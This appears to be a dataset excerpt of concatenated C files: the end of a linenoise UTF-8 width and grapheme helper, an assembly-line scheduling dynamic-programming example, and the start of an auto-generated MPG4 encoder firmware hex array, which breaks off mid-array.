0xE014C,0xE014D,0xE014E,0xE014F,0xE0150,0xE0151,0xE0152,0xE0153,
0xE0154,0xE0155,0xE0156,0xE0157,0xE0158,0xE0159,0xE015A,0xE015B,
0xE015C,0xE015D,0xE015E,0xE015F,0xE0160,0xE0161,0xE0162,0xE0163,
0xE0164,0xE0165,0xE0166,0xE0167,0xE0168,0xE0169,0xE016A,0xE016B,
0xE016C,0xE016D,0xE016E,0xE016F,0xE0170,0xE0171,0xE0172,0xE0173,
0xE0174,0xE0175,0xE0176,0xE0177,0xE0178,0xE0179,0xE017A,0xE017B,
0xE017C,0xE017D,0xE017E,0xE017F,0xE0180,0xE0181,0xE0182,0xE0183,
0xE0184,0xE0185,0xE0186,0xE0187,0xE0188,0xE0189,0xE018A,0xE018B,
0xE018C,0xE018D,0xE018E,0xE018F,0xE0190,0xE0191,0xE0192,0xE0193,
0xE0194,0xE0195,0xE0196,0xE0197,0xE0198,0xE0199,0xE019A,0xE019B,
0xE019C,0xE019D,0xE019E,0xE019F,0xE01A0,0xE01A1,0xE01A2,0xE01A3,
0xE01A4,0xE01A5,0xE01A6,0xE01A7,0xE01A8,0xE01A9,0xE01AA,0xE01AB,
0xE01AC,0xE01AD,0xE01AE,0xE01AF,0xE01B0,0xE01B1,0xE01B2,0xE01B3,
0xE01B4,0xE01B5,0xE01B6,0xE01B7,0xE01B8,0xE01B9,0xE01BA,0xE01BB,
0xE01BC,0xE01BD,0xE01BE,0xE01BF,0xE01C0,0xE01C1,0xE01C2,0xE01C3,
0xE01C4,0xE01C5,0xE01C6,0xE01C7,0xE01C8,0xE01C9,0xE01CA,0xE01CB,
0xE01CC,0xE01CD,0xE01CE,0xE01CF,0xE01D0,0xE01D1,0xE01D2,0xE01D3,
0xE01D4,0xE01D5,0xE01D6,0xE01D7,0xE01D8,0xE01D9,0xE01DA,0xE01DB,
0xE01DC,0xE01DD,0xE01DE,0xE01DF,0xE01E0,0xE01E1,0xE01E2,0xE01E3,
0xE01E4,0xE01E5,0xE01E6,0xE01E7,0xE01E8,0xE01E9,0xE01EA,0xE01EB,
0xE01EC,0xE01ED,0xE01EE,0xE01EF,
};
static unsigned long combiningCharTableSize = sizeof(combiningCharTable) / sizeof(combiningCharTable[0]);
/* Check if the code is a wide character
*/
static int isWideChar(unsigned long cp) {
size_t i;
for (i = 0; i < wideCharTableSize; i++) {
/* ranges are listed in ascending order. Therefore, once the
* whole range is higher than the codepoint we're testing, the
* codepoint won't be found in any remaining range => bail early. */
if(wideCharTable[i][0] > cp) return 0;
/* test this range */
if (wideCharTable[i][0] <= cp && cp <= wideCharTable[i][1]) return 1;
}
return 0;
}
/* Check if the code is a combining character
*/
static int isCombiningChar(unsigned long cp) {
size_t i;
for (i = 0; i < combiningCharTableSize; i++) {
/* combining chars are listed in ascending order, so once we pass
* the codepoint of interest, we know it's not a combining char. */
if(combiningCharTable[i] > cp) return 0;
if (combiningCharTable[i] == cp) return 1;
}
return 0;
}
/* Get length of previous UTF8 character
*/
static size_t prevUtf8CharLen(const char* buf, int pos) {
int end = pos--;
while (pos >= 0 && ((unsigned char)buf[pos] & 0xC0) == 0x80)
pos--;
return end - pos;
}
/* Convert UTF8 to Unicode code point
*/
static size_t utf8BytesToCodePoint(const char* buf, size_t len, int* cp) {
if (len) {
unsigned char byte = buf[0];
if ((byte & 0x80) == 0) {
*cp = byte;
return 1;
} else if ((byte & 0xE0) == 0xC0) {
if (len >= 2) {
*cp = (((unsigned long)(buf[0] & 0x1F)) << 6) |
((unsigned long)(buf[1] & 0x3F));
return 2;
}
} else if ((byte & 0xF0) == 0xE0) {
if (len >= 3) {
*cp = (((unsigned long)(buf[0] & 0x0F)) << 12) |
(((unsigned long)(buf[1] & 0x3F)) << 6) |
((unsigned long)(buf[2] & 0x3F));
return 3;
}
} else if ((byte & 0xF8) == 0xF0) {
if (len >= 4) {
*cp = (((unsigned long)(buf[0] & 0x07)) << 18) |
(((unsigned long)(buf[1] & 0x3F)) << 12) |
(((unsigned long)(buf[2] & 0x3F)) << 6) |
((unsigned long)(buf[3] & 0x3F));
return 4;
}
}
else {
*cp = 0xFFFD;
return 1;
}
}
*cp = 0;
return 1;
}
/* Get length of next grapheme
*/
size_t linenoiseUtf8NextCharLen(const char* buf, size_t buf_len, size_t pos, size_t *col_len) {
size_t beg = pos;
int cp;
size_t len = utf8BytesToCodePoint(buf + pos, buf_len - pos, &cp);
if (isCombiningChar(cp)) {
/* NOTREACHED */
return 0;
}
if (col_len != NULL) *col_len = isWideChar(cp) ? 2 : 1;
pos += len;
while (pos < buf_len) {
int cp;
len = utf8BytesToCodePoint(buf + pos, buf_len - pos, &cp);
if (!isCombiningChar(cp)) return pos - beg;
pos += len;
}
return pos - beg;
}
/* Get length of previous grapheme
*/
size_t linenoiseUtf8PrevCharLen(const char* buf, size_t buf_len, size_t pos, size_t *col_len) {
UNUSED(buf_len);
size_t end = pos;
while (pos > 0) {
size_t len = prevUtf8CharLen(buf, pos);
pos -= len;
int cp;
utf8BytesToCodePoint(buf + pos, len, &cp);
if (!isCombiningChar(cp)) {
if (col_len != NULL) *col_len = isWideChar(cp) ? 2 : 1;
return end - pos;
}
}
/* NOTREACHED */
return 0;
}
/* Read a Unicode from file.
*/
size_t linenoiseUtf8ReadCode(int fd, char* buf, size_t buf_len, int* cp) {
if (buf_len < 1) return -1;
size_t nread = read(fd,&buf[0],1);
if (nread <= 0) return nread;
unsigned char byte = buf[0];
if ((byte & 0x80) == 0) {
;
} else if ((byte & 0xE0) == 0xC0) {
if (buf_len < 2) return -1;
nread = read(fd,&buf[1],1);
if (nread <= 0) return nread;
} else if ((byte & 0xF0) == 0xE0) {
if (buf_len < 3) return -1;
nread = read(fd,&buf[1],2);
if (nread <= 0) return nread;
} else if ((byte & 0xF8) == 0xF0) {
if (buf_len < 3) return -1;
nread = read(fd,&buf[1],3);
if (nread <= 0) return nread;
} else {
return -1;
}
return utf8BytesToCodePoint(buf, buf_len, cp);
}
#endif |
the_stack_data/15405.c | #include <stdio.h>
#include <stdlib.h>
int Fastway(int *a1,int *a2,int *t1,int *t2,int *e,int *x,int n,int *l1,int *l2,int *value)
{
int *f1 = (int*)malloc(n*sizeof(int));
int *f2 = (int*)malloc(n*sizeof(int));
f1[0] = e[0]+a1[0];
f2[0] = e[1]+a2[0];
int i;
for(i = 1;i < n;i++)
{
if(f1[i-1] < (f2[i-1]+t2[i-1]))
{
f1[i] = f1[i-1]+a1[i];
l1[i-1] = 1;
}else{
f1[i] = f2[i-1]+t2[i-1]+a1[i];
l1[i-1]=2;
}
if(f2[i-1] < (f1[i-1]+t1[i-1]))
{
f2[i] = f2[i-1]+a2[i];
l2[i-1] = 2;
}else{
f2[i] = f1[i-1]+t1[i-1]+a2[i];
l2[i-1] = 1;
}
}
if((f1[n-1]+x[0]) < (f2[n-1]+x[1]))
{
*value = f1[n-1]+x[0];
free(f1);
free(f2);
return 1;
}else {
*value = f2[n-1]+x[1];
free(f1);
free(f2);
return 2;
}
}
void PRINT_STATIONS(int *l1,int *l2,int way,int n)
{
printf("line%d,station%d\n",way,n);
int i;
for(i=(n-2);i>=0;i--)
{
if(way == 1)
way = l1[i];
else
way = l2[i];
printf("line%d,station%d\n",way,i+1);
}
}
void reverse_PRINT_STATIONS(int *l1,int *l2,int way,int n)
{
int new_way;
if(way == 1)
new_way = l1[n-2];
else
new_way = l2[n-2];
if(n >= 2)
reverse_PRINT_STATIONS(l1,l2,new_way,n-1);
printf("line%d,station%d\n",way,n);
}
int main()
{
int n = 6;
int e[2];
e[0]=2;
e[1]=4;
int x[2];
x[0]=3;
x[1]=2;
int t1[5],t2[5];
t1[0]=2;
t1[1]=3;
t1[2]=1;
t1[3]=3;
t1[4]=4;
t2[0]=2;
t2[1]=1;
t2[2]=2;
t2[3]=2;
t2[4]=1;
int a1[6],a2[6];
a1[0]=7;
a1[1]=9;
a1[2]=3;
a1[3]=4;
a1[4]=8;
a1[5]=4;
a2[0]=8;
a2[1]=5;
a2[2]=6;
a2[3]=4;
a2[4]=5;
a2[5]=7;
int value;
int *l1 = (int*)malloc((n-1)*sizeof(int));
int *l2 = (int*)malloc((n-1)*sizeof(int));
int way = Fastway(a1,a2,t1,t2,e,x,n,l1,l2,&value);
printf("value = %d\n",value);
reverse_PRINT_STATIONS(l1,l2,way,n);
return 0;
}
|
the_stack_data/75137342.c | // This file was automatically generated from ../release/MPG4MasterFirmwareLLRC.dnl using dnl2c.
unsigned int ui32MPG4LLRC_MasterMTXTOPAZFWTextSize = 3636;
unsigned int ui32MPG4LLRC_MasterMTXTOPAZFWDataSize = 797;
unsigned int ui32MPG4LLRC_MasterMTXTOPAZFWTextRelocSize = 0;
unsigned int ui32MPG4LLRC_MasterMTXTOPAZFWDataRelocSize = 0;
unsigned int ui32MPG4LLRC_MasterMTXTOPAZFWTextOrigin = 0x80900000;
unsigned int ui32MPG4LLRC_MasterMTXTOPAZFWDataOrigin = 0x828838d0;
unsigned int aui32MPG4LLRC_MasterMTXTOPAZFWText[] =
{
0x9040c001,
0xc80993fe,
0xc0000e42,
0xc8290e00,
0xc4548422,
0xc8298420,
0xc38c8622,
0x9e838640,
0xc8099e43,
0xc7180d42,
0xc8090d00,
0xc7180942,
0xc8090940,
0xc00a0e42,
0xc8090e40,
0xc00e87c2,
0x9c1887d0,
0x0c020802,
0x09820d82,
0x09020d02,
0x08820c82,
0x9320fffe,
0xa401c838,
0x0dc2c809,
0x0dc0c716,
0x0e42c809,
0x0c86b080,
0x7e74b77f,
0xa48d0882,
0xffff9ff3,
0x9d1393e0,
0xf8398081,
0x0707a205,
0x06850307,
0x03839e97,
0x0ac2c809,
0x0ae0c718,
0x1ac0c809,
0x1ac0c718,
0xc101060f,
0x058d07fa,
0x008f018d,
0xffff9c62,
0x060b9320,
0x06dac101,
0xffff9c62,
0x058d9380,
0xb700018d,
0xb780468c,
0x9c014614,
0x0687a605,
0x0ac2c809,
0x0ae0c718,
0x1ac0c809,
0x1ac0c718,
0xc101060b,
0x9c6206da,
0x9380ffff,
0xaa9df9f8,
0xaa1df9f8,
0x9c229c22,
0x470cb780,
0x9ea20902,
0xc0840189,
0xc0800d00,
0xc080099c,
0xd0100a18,
0xd008a141,
0xd208a161,
0x9c22a101,
0xb780a605,
0x0916478c,
0xf2080a8a,
0xc000a101,
0xc0549180,
0x9eab996c,
0x98fac054,
0x9a14c014,
0xc0007402,
0xc81791e2,
0xc9719c85,
0xe0009c80,
0xffff2a08,
0x9ea39204,
0x98eac054,
0x9160ffff,
0x7f6eb79f,
0x7feeb7bf,
0x9c228c40,
0xa205f839,
0x9bc5fff4,
0xc0540d8a,
0xfff498db,
0xc0219bc1,
0xc0040a02,
0x9d4d0a60,
0xb720aa61,
0x2a7c470c,
0x72a9b58a,
0x993bc054,
0x0922c829,
0x0900c454,
0xaa41f008,
0xd0027500,
0xb4220a42,
0xfff44624,
0x08029bb9,
0xaa1df9f8,
0xc00e9c22,
0x0d842dfc,
0x9e5c5db0,
0x297ccffe,
0x0a00c021,
0x0a00c010,
0xf0009dcd,
0x09bca162,
0x59405990,
0x2980cff0,
0x297cc00f,
0x3980c011,
0x0d80c021,
0xc00e31b4,
0x9dbe0d80,
0xa1e1f000,
0xc00e9c22,
0x0d842dfc,
0x9e5c5db0,
0x297ccffe,
0x0a00c021,
0x0a00c010,
0xf0009dcd,
0x09bca162,
0x59905964,
0x2980cff0,
0x2900c021,
0x0d80c021,
0xc00e3126,
0x9dbe0d80,
0xa161f000,
0xc00e9c22,
0x0d842dfc,
0xc00e5db0,
0x0d020992,
0x0902cff0,
0x93a0c044,
0xc002a61d,
0xc00e8440,
0xb57f2dfc,
0x0d847ef4,
0x04875db0,
0x0c80c021,
0x0c80c010,
0xb53f9e9e,
0x01857cf4,
0xaa619d1e,
0x0d80c021,
0x0db0c010,
0x420cb580,
0x7c74b57f,
0xaa619d3e,
0xb5800902,
0x9e5c418c,
0xf0009dcd,
0xd031a161,
0xeffe0e6e,
0xc0032a41,
0xe0d39302,
0x9e978d00,
0x7e74b55f,
0x7decb57f,
0x7d6cb59f,
0x7f7cb55f,
0x7d74b73f,
0x0bc2c0fe,
0x7bf4b5ff,
0xc1fc9e4a,
0xb3277660,
0x75c04434,
0x7b74b5ff,
0x7af4b5ff,
0x7a74b5ff,
0x93c2c001,
0x9d7a9ebd,
0xc0009e7e,
0xb77f92e0,
0x0b047e7c,
0x2aeef031,
0xaa65d039,
0x1e841f04,
0x7e7cb57f,
0x7f7cb77f,
0xa24dc030,
0xc0008504,
0x77409262,
0x9082c001,
0xffff7780,
0xb77f9144,
0x0b047f7c,
0x2aeef031,
0xa34ec030,
0x85041e84,
0x9224ffff,
0x7ef4b77f,
0x8d00e0d2,
0x19e0d051,
0x9803c054,
0x9d597740,
0x7becb5bf,
0x7b6cb5bf,
0x7aecb5bf,
0x7a6cb5bf,
0x9004ffff,
0x7df4b75f,
0x7ef4b77f,
0x018f9e7a,
0x9b4bfff4,
0x7ef4b77f,
0x9b65fff4,
0x7d6cb75f,
0x112ee000,
0x7d6cb55f,
0x9122c000,
0x7decb79f,
0xb59f024e,
0xfffc7dec,
0xb78092e0,
0xb75f420c,
0x9e2e7cfc,
0xa261f000,
0x418cb740,
0x7c7cb77f,
0xf0009e3e,
0xb79fa161,
0xb7bf7b6e,
0xb7df7bee,
0xb7ff7c6e,
0xc0047cee,
0x9c228c40,
0xc002a61d,
0xd3f28400,
0xd3a22fbe,
0x03075e30,
0x0a00c021,
0x0a00c110,
0xb59f0185,
0x9d4d7e6c,
0xd031a961,
0xeffe0a6e,
0xb5402a41,
0xc002428c,
0x9e9e91e2,
0x7f74b55f,
0xc1fc0389,
0xc0fe75e0,
0xb3750ec2,
0xb75f4454,
0x9e6b7f74,
0x058f0902,
0x9ad5fff4,
0x1d52d012,
0xb55f058f,
0xfff47ef4,
0xb79f9b0c,
0x753f7eec,
0x90c2c001,
0x010b0a82,
0x91e0c000,
0xc0007580,
0xd0299102,
0x9eaaaa45,
0xc0601b04,
0x0a84a249,
0xc000715b,
0x7d5e91e2,
0x9244ffff,
0x8d00e092,
0x058f018b,
0x9b9ec034,
0x8d00e091,
0x9100ffff,
0x7ef4b75f,
0x0e62d011,
0x0728c101,
0x13fae101,
0x9142c000,
0x7f6cb79f,
0x024ac101,
0x7f6cb59f,
0x9320fffd,
0x428cb780,
0x7e6cb75f,
0xf0009dad,
0xb79fa261,
0xb7bf7c6e,
0xb7df7cee,
0xb7ff7d6e,
0xc0047dee,
0x9c228c00,
0xa60d9c22,
0xb7c08440,
0xd3f2470c,
0xe0522ebe,
0x9eb08d00,
0xb7830982,
0xb743454c,
0xb723464c,
0xb72346cc,
0x058b45d4,
0x7e6cb59f,
0x7ef4b53f,
0x7f6cb55f,
0x7fecb53f,
0x9b2dc034,
0x8d00e052,
0x0982058b,
0x9b52c034,
0xb743008d,
0x090244b5,
0x058b09c2,
0x9a7bfff4,
0xfff4058b,
0x0a829a96,
0x8d00e052,
0x058b018b,
0x7eecb5bf,
0x9b13c034,
0x058b9eb1,
0x44d5b743,
0x09c2010b,
0x9a47fff4,
0xfff4058b,
0xe0529a82,
0x058b8d00,
0xc0340982,
0x9eb09b2d,
0x7eecb79f,
0x45ccb743,
0xffff7104,
0xb79f9284,
0xb7bf7dee,
0xb7df7e6e,
0xc0027eee,
0x9c228c20,
0xc021a60d,
0xc0060902,
0x9d2d0950,
0xc00eaa61,
0x75062a7c,
0x9374ffff,
0x0a02c021,
0x0a40c006,
0xa9e19d4d,
0xa9e29d4d,
0xa8e19d4d,
0xaa619d4d,
0x2b3ed3f1,
0x5908d324,
0x500cb740,
0x4714b7a0,
0xe0209e50,
0x048ba906,
0x45cdb583,
0x4455b563,
0x454db563,
0x44cdb523,
0x9c620605,
0x9e680a02,
0xb5839ea3,
0xfff446ac,
0x0d8e9b74,
0x9aaec034,
0xc0340d8a,
0x000d9aab,
0x7eeeb79f,
0x7f6eb7bf,
0x7feeb7df,
0x9c228c60,
0xaa61f008,
0xc00e9e90,
0x75002dfc,
0x9144c000,
0x4049b740,
0xc2000a04,
0x32445204,
0x4049b580,
0xc0017680,
0xd1a290a2,
0xd0105e30,
0x9ea31da2,
0x0cfec00f,
0x0d80c021,
0x0882cff1,
0x0938d012,
0x0de0c140,
0x0cfcc00e,
0x0880cff0,
0xaa45f031,
0x21429e48,
0x59212240,
0x5a20c200,
0xba243244,
0x9dbe4006,
0xa261f000,
0x9241ffff,
0xa971d008,
0x404cb780,
0x02440806,
0x404cb580,
0xf8399c22,
0x9e90a285,
0xcffe0487,
0x76002c7c,
0x2daed3f2,
0xc0019d39,
0xf0089142,
0xf011aa61,
0xc001294e,
0xc1019102,
0x0a201201,
0x09221244,
0x1120c101,
0xc00e9e95,
0x55570d7e,
0x400aba04,
0x2526d010,
0x93eac000,
0x4049b780,
0x31285140,
0x4049b540,
0xd011a8c1,
0xd1102a1e,
0x750e0609,
0x0603d110,
0x0c92d009,
0x9e48a241,
0xaa9df9f8,
0xb5409c22,
0xf0084049,
0xd011aa61,
0xfffe294e,
0xd1249280,
0x11015920,
0x4051b760,
0x55559e95,
0xd1229e59,
0xd0325e21,
0x32420980,
0xa225d031,
0xc00ea8c1,
0xd3f12d7c,
0xd1102a2e,
0x554f0483,
0x05831098,
0xc00e0a02,
0xcffe2d7c,
0xa0c1297c,
0x4049b580,
0xaa9df9f8,
0x93a0fffc,
0xf012a60d,
0x9e580ea0,
0xc0029e9e,
0x0d0691c2,
0x16d40b02,
0xd0110524,
0xd0111e22,
0x711b0962,
0x2b2ed3f1,
0x92e6ffff,
0x0a62d011,
0x028d7510,
0x91d4c000,
0x9e739e83,
0x0d021aa0,
0xfff40922,
0xd0119b7c,
0x75100a52,
0x92d2ffff,
0x9e739e83,
0x294ed3f1,
0xfff40d06,
0x75909b70,
0x92f4c000,
0x1a60d031,
0x2b4ed3f1,
0x9e839e6c,
0x5299c200,
0x295ed3f2,
0x09229e73,
0x9b5ffff4,
0x52b8c200,
0xc1017590,
0xffff16da,
0x9e8391b2,
0xd3f29e73,
0x010d2d5e,
0x7eeeb79f,
0x7f6eb7bf,
0x7feeb7df,
0xfffa8c60,
0x0d069140,
0x9e6e9e52,
0x9b45fff4,
0x91a0ffff,
0x1d20f011,
0x0224d01d,
0x1a42d00d,
0x90bcc000,
0xfffc9ea2,
0x120593a0,
0x9ea21244,
0x9300fffc,
0xb55f8420,
0xb57f7f74,
0xb79f7c68,
0xcff17f6c,
0xcff00882,
0x9ea10880,
0x0d7ec00f,
0xc2002242,
0xc00e5a21,
0x25140d7c,
0x5d209ea1,
0x2dfcc00e,
0x5db03522,
0x4007ba12,
0x0d80c021,
0x7f74b55f,
0x0de0c140,
0xf0009dbe,
0xf008a162,
0x0246aa41,
0xa241f008,
0x9c228c20,
0xc002a61d,
0x0a028400,
0x7cecb59f,
0x7c6cb59f,
0xa9e1f008,
0x02859e57,
0x74e41988,
0x2fbed3f2,
0x2cfcc00e,
0x8d0ef072,
0x91f4c000,
0x000d0b02,
0x7c6eb79f,
0x7ceeb7bf,
0x7d6eb7df,
0x7deeb7ff,
0x8c00c004,
0xd1a69c22,
0x8520590c,
0x8044e050,
0x90c0c001,
0x9080c002,
0x9220c002,
0x93c0c002,
0x90c0c003,
0x9300c003,
0x91a0c001,
0x9120c004,
0x9120c005,
0x9260c005,
0x9320c006,
0x9240c007,
0x93a0c007,
0x9280fffe,
0x9240fffe,
0x9200fffe,
0x91c0fffe,
0x9040c008,
0x9280c008,
0x490cb780,
0x1924d072,
0x8d88e071,
0xd208058d,
0xfff4a101,
0xb77f9b6d,
0xb75f7cec,
0x058f7c74,
0xfff4010f,
0x0b069b75,
0xb79f000d,
0xb7bf7c6e,
0xb7df7cee,
0xb7ff7d6e,
0xc0047dee,
0x9c228c00,
0x490cb780,
0x8d88e071,
0xd208058d,
0xd020a901,
0xb5401154,
0xfff44508,
0xfffe9b4b,
0xd3f193c0,
0xe0712aae,
0x9eaa8d88,
0x0916058d,
0x9a81fff4,
0x490cb780,
0xa281d208,
0x91e0fffe,
0x292ed3f2,
0x8d88e071,
0x0916058d,
0x9a73fff4,
0x90a0fffe,
0x8c88f072,
0xaac1f010,
0x9e6b0d06,
0x058d9e52,
0x9a67fff4,
0x2a9c4afd,
0x9e6b9e83,
0x0d02010b,
0x9a5ffff4,
0x9220fffd,
0x8c88f072,
0xaac1f010,
0x058d9e6b,
0x09060d02,
0x9a53fff4,
0x2a9c4afd,
0x9e6b9e83,
0xc00e010b,
0xfff40d7e,
0xfffc9a4a,
0xb7209380,
0xb742470c,
0x7498692d,
0x92b2fffc,
0xc2000a06,
0xc21c5208,
0xc00c7d00,
0xc1009204,
0xfffc7d38,
0xb7839142,
0xe0717dad,
0x058d8d88,
0x3940d092,
0xc00e091a,
0xb5802d7c,
0xfff4450c,
0xfffb9a28,
0xb7209340,
0xe071470c,
0x058d8d88,
0x76b1b74f,
0xfff4090a,
0xfffb9a1c,
0xb72091c0,
0xb782470c,
0x751a692d,
0x90f2fffb,
0x52500906,
0x7d00c4e0,
0x9264c00e,
0x7d00c21c,
0x90a4c00e,
0x7d38c100,
0x9322fffa,
0x7d2db783,
0x0d027640,
0x0d22d001,
0xc1010248,
0xe0710528,
0x058d8d88,
0x2d7cc00e,
0xfff40914,
0xfffa99f4,
0xb72090c0,
0xb783470c,
0x750279ad,
0x440cb580,
0x9374c009,
0x6badb760,
0xc0b49ea3,
0x74009b06,
0x9264c009,
0x0205090a,
0xe0719ea2,
0x058d8d88,
0x99d9fff4,
0x9160fff9,
0x470cb720,
0x8d88e071,
0xb74a058d,
0x09066931,
0xfff44522,
0xfff899cc,
0xb74093c0,
0xe0714714,
0x058d8d88,
0xc0820574,
0xd0100d60,
0x0916a952,
0x99bdfff4,
0x91e0fff8,
0x470cb720,
0xe0710d12,
0xb7818d88,
0xb7414a29,
0x058d4aa9,
0x9e917500,
0x4442b342,
0x3514090e,
0x99a9fff4,
0x9360fff7,
0x470cb720,
0x7aadb743,
0xc0077482,
0x74849142,
0x91c4fff5,
0x4714b720,
0x4ac9b781,
0xfff57502,
0xb72090e4,
0xb78e470c,
0xc0086a29,
0xc00b7504,
0xc00893a2,
0xfff47520,
0x74829364,
0x9304fff4,
0x4714b720,
0x8d88e071,
0xb743058d,
0x0a826b55,
0xfff40b0a,
0xb77f99e1,
0xb75f7cec,
0x010f7c74,
0xfff4058f,
0xb7209a43,
0xe071470c,
0x058d8d88,
0x6bb5b743,
0x7cecb5bf,
0x99cefff4,
0x4894b720,
0x7cecb77f,
0x7c74b75f,
0x058f010f,
0x7eecb5bf,
0x7e74b53f,
0x9a2afff4,
0x7e6cb75f,
0x7eecb7bf,
0xb55f1908,
0xb5bf7d6c,
0xb5bf7dec,
0xc0017cec,
0xb79f92e0,
0x9eab7e6c,
0x8d88e071,
0xa902d208,
0xfff40906,
0xb73f9944,
0xb77f7f6c,
0xb75f7cec,
0x010f7c74,
0x9e86058f,
0x0b12d011,
0x9a06fff4,
0x7e74b73f,
0xb7800902,
0xb55f4049,
0x75007cec,
0x9224c004,
0x7eecb79f,
0x7e6cb73f,
0x7decb75f,
0xb59f0a04,
0xb79f7eec,
0x08847d6c,
0x0a040910,
0x7e6cb53f,
0x7decb55f,
0x7d6cb59f,
0x470cb720,
0xb783090a,
0xb73f472d,
0xc2007eec,
0x75002a00,
0x1922d001,
0xfff37044,
0xb73f90f6,
0xe0717d6c,
0x058d8d88,
0x4031b740,
0xfff40906,
0xb77f9900,
0xb75f7cec,
0xd0117c74,
0x058f0a62,
0xb59f010f,
0x02817f6c,
0x99c2fff4,
0x7d6cb73f,
0xb7800c82,
0xb53f4029,
0x75007cf4,
0x93a2fffc,
0x470cb780,
0x7df4b75f,
0x8d88e071,
0xc1019eab,
0x9e6906a8,
0xb7430b0c,
0xfff46d35,
0xb77f9999,
0xb75f7cec,
0x058f7c74,
0xb5df010f,
0xfff47f6c,
0x048b999f,
0x7055b743,
0x8d88e071,
0x09029eab,
0x7cecb55f,
0x9984fff4,
0x7c74b75f,
0x7cecb77f,
0x010f058f,
0x998cfff4,
0xb55f0d02,
0xfffb7cf4,
0xb7819180,
0x75004a29,
0x93e4fff8,
0xffee0b02,
0x09069040,
0xfff60a02,
0xb78391e0,
0xe0717dad,
0x058d8d88,
0x294ed3f2,
0xb5800922,
0xfff4448c,
0xffef98a0,
0xb75f9240,
0xb7807df4,
0xe071470c,
0x058d8d88,
0x06a8c101,
0xb7439e69,
0xfff46e35,
0xb79f994f,
0xb77f7f6c,
0xb75f7cec,
0x010f7c74,
0xd011058f,
0xfff40b4a,
0x9e699953,
0x8d88e071,
0x7135b743,
0x058d0c82,
0x7cf4b53f,
0x9938fff4,
0x7cecb77f,
0x7c74b75f,
0x058f010f,
0x9940fff4,
0xe0719e69,
0xb7438d88,
0x0c826f35,
0xb53f058d,
0xfff47cf4,
0xb77f9925,
0xb75f7cec,
0x010f7c74,
0xfff4058f,
0x9e69992d,
0x8d88e071,
0x7235b743,
0x058d0c82,
0x7cf4b53f,
0x9912fff4,
0x7cecb77f,
0x7c74b75f,
0x058f010f,
0x991afff4,
0xb55f0902,
0xfff87cec,
0xb74f9360,
0xe0717431,
0x058d8d88,
0xfff4090a,
0xffec983e,
0xb7409200,
0xb7636bb5,
0x768079ad,
0x9244c000,
0x9e9b0285,
0xc0b49e53,
0x9e829952,
0x8d88e071,
0xc00e058d,
0x010b2d7c,
0x9827fff4,
0x9320ffeb,
0xc0007680,
0x9e5292f8,
0x0a02c002,
0xe0001a04,
0xc00e0124,
0xffff2a7c,
0x0109936c,
0x2aaed3f1,
0x9020ffff,
0xfff47484,
0x0b029162,
0x93e0ffe8,
0x0902c002,
0x2aaed3f1,
0x92a0fffe,
0xc002a61d,
0xc00e8420,
0x9e582dfc,
0x7e6cb55f,
0x0a02d011,
0x5a30c200,
0x7cecb59f,
0x7cecb75f,
0x7d74b57f,
0x0d820a02,
0x2cfcc00e,
0x0900c021,
0x6c68b59f,
0x7decb57f,
0x7f6cb53f,
0x7ef4b53f,
0x7bf4b57f,
0x0950c040,
0xabc2f010,
0x0a02c801,
0x7c6cb55f,
0xf0009dad,
0x77c0a261,
0x93a2c001,
0x4408b7c0,
0x4490b7c0,
0x0ea8d011,
0xc0009e5f,
0x9e9e9180,
0xd1100307,
0x0b840661,
0xd3f271df,
0xc0012b4e,
0xf20890c2,
0x9eadaa21,
0xc0027502,
0xb77f9354,
0xb75f7d74,
0xb73f7e6c,
0xe0927ef4,
0x018b8d08,
0x98aefff4,
0xf2100a90,
0x74c0a9a1,
0x9022ffff,
0xc00274d0,
0x758093c2,
0x93a2fffe,
0x02600b84,
0xd3f171df,
0xfffe2b4e,
0xb5c093c4,
0xb5c04408,
0xb7804490,
0x75004408,
0x9262c002,
0x4488b740,
0x7df4b77f,
0x12441a04,
0xc1f05920,
0x2a7c2900,
0x5d40c180,
0xb75f3244,
0xc3ff7cec,
0x9e502d7c,
0x0900c021,
0xc0483240,
0x9dad0900,
0xa261f000,
0x7f6cb75f,
0x0a060d02,
0x4410b540,
0x4490b540,
0xa241d808,
0x7becb71f,
0x7beeb79f,
0x7c6eb7bf,
0x7ceeb7df,
0x7d6eb7ff,
0x8c20c004,
0xd2089c22,
0xb77faab1,
0x9e6b7d74,
0x0a9cc002,
0x5a95c280,
0xe0919eaa,
0xe0b28d08,
0x008f8c80,
0x9b16ffd4,
0x0e58d011,
0x5a88c280,
0xfffc02d8,
0xb77f93c0,
0x9e767f74,
0xd8100a06,
0xfffca261,
0xb77f93c0,
0xd8107f74,
0x7500aa61,
0x91c4fffe,
0x7cecb75f,
0x6c68b79f,
0x0900c021,
0x0970c040,
0xf0009dad,
0xb79fa261,
0x9dcd7c6c,
0xa3e2f000,
0x7becb71f,
0x7beeb79f,
0x7c6eb7bf,
0x7ceeb7df,
0x7d6eb7ff,
0x8c20c004,
0xa60d9c22,
0xd3f18440,
0xd0112f3e,
0x58b008e2,
0xc0210203,
0xc0400a00,
0x9d4d0a20,
0x0103aa61,
0x0900c021,
0x0910c040,
0xa9619d2d,
0x0880c021,
0x08c0c046,
0xa8e19d1d,
0x470cb780,
0x5a88c300,
0x02d80e82,
0x0aa0c07a,
0xaa21f208,
0xe0529e6b,
0x10988d00,
0xc0049eb3,
0xb53f1880,
0xb5bf7e6c,
0xb5bf7ff4,
0xb5bf7f74,
0xc0147ef4,
0xf2089958,
0x9eb3a922,
0x09c29e6a,
0x98adffd4,
0xffd49eb3,
0xb79f98c8,
0xb7bf7dee,
0xb7df7e6e,
0xc0027eee,
0x9c228c20,
0xd3f2a60d,
0xd0112f3e,
0xf0110e62,
0xc2000ab0,
0x01095a30,
0x0900c040,
0x438cb540,
0x430cb580,
0x9242c001,
0x0b7ec01e,
0x0e82c008,
0x4394b740,
0x757ec03c,
0xb354020d,
0xc2004434,
0x12d85914,
0xc3fe9e54,
0xc0212900,
0x0a500a00,
0xf0009dcd,
0xc021a161,
0x9d2e0d00,
0xb760a961,
0x9e5c4314,
0x0a00c021,
0x9dcd0a40,
0xa2e2f000,
0x9dae3940,
0xa161f000,
0x09929e6a,
0xc014050b,
0x75409926,
0x92c4fffe,
0x430cb780,
0x0902c008,
0x0a00c021,
0x9dcd0a40,
0xa161f000,
0xb79f058d,
0xb7bf7eee,
0xb7df7f6e,
0x8c607fee,
0x9060fffb,
0xc010a60d,
0xb7a08420,
0x0a024714,
0x7e6ab59e,
0xc0809e6e,
0xd2080b10,
0x7540aac1,
0x9142c004,
0xb782048b,
0x751a694d,
0x9114c002,
0x9e690d02,
0x0a02c020,
0x53abb745,
0x0f02c021,
0x0f00c140,
0xb3247480,
0x9e524422,
0x9dee3244,
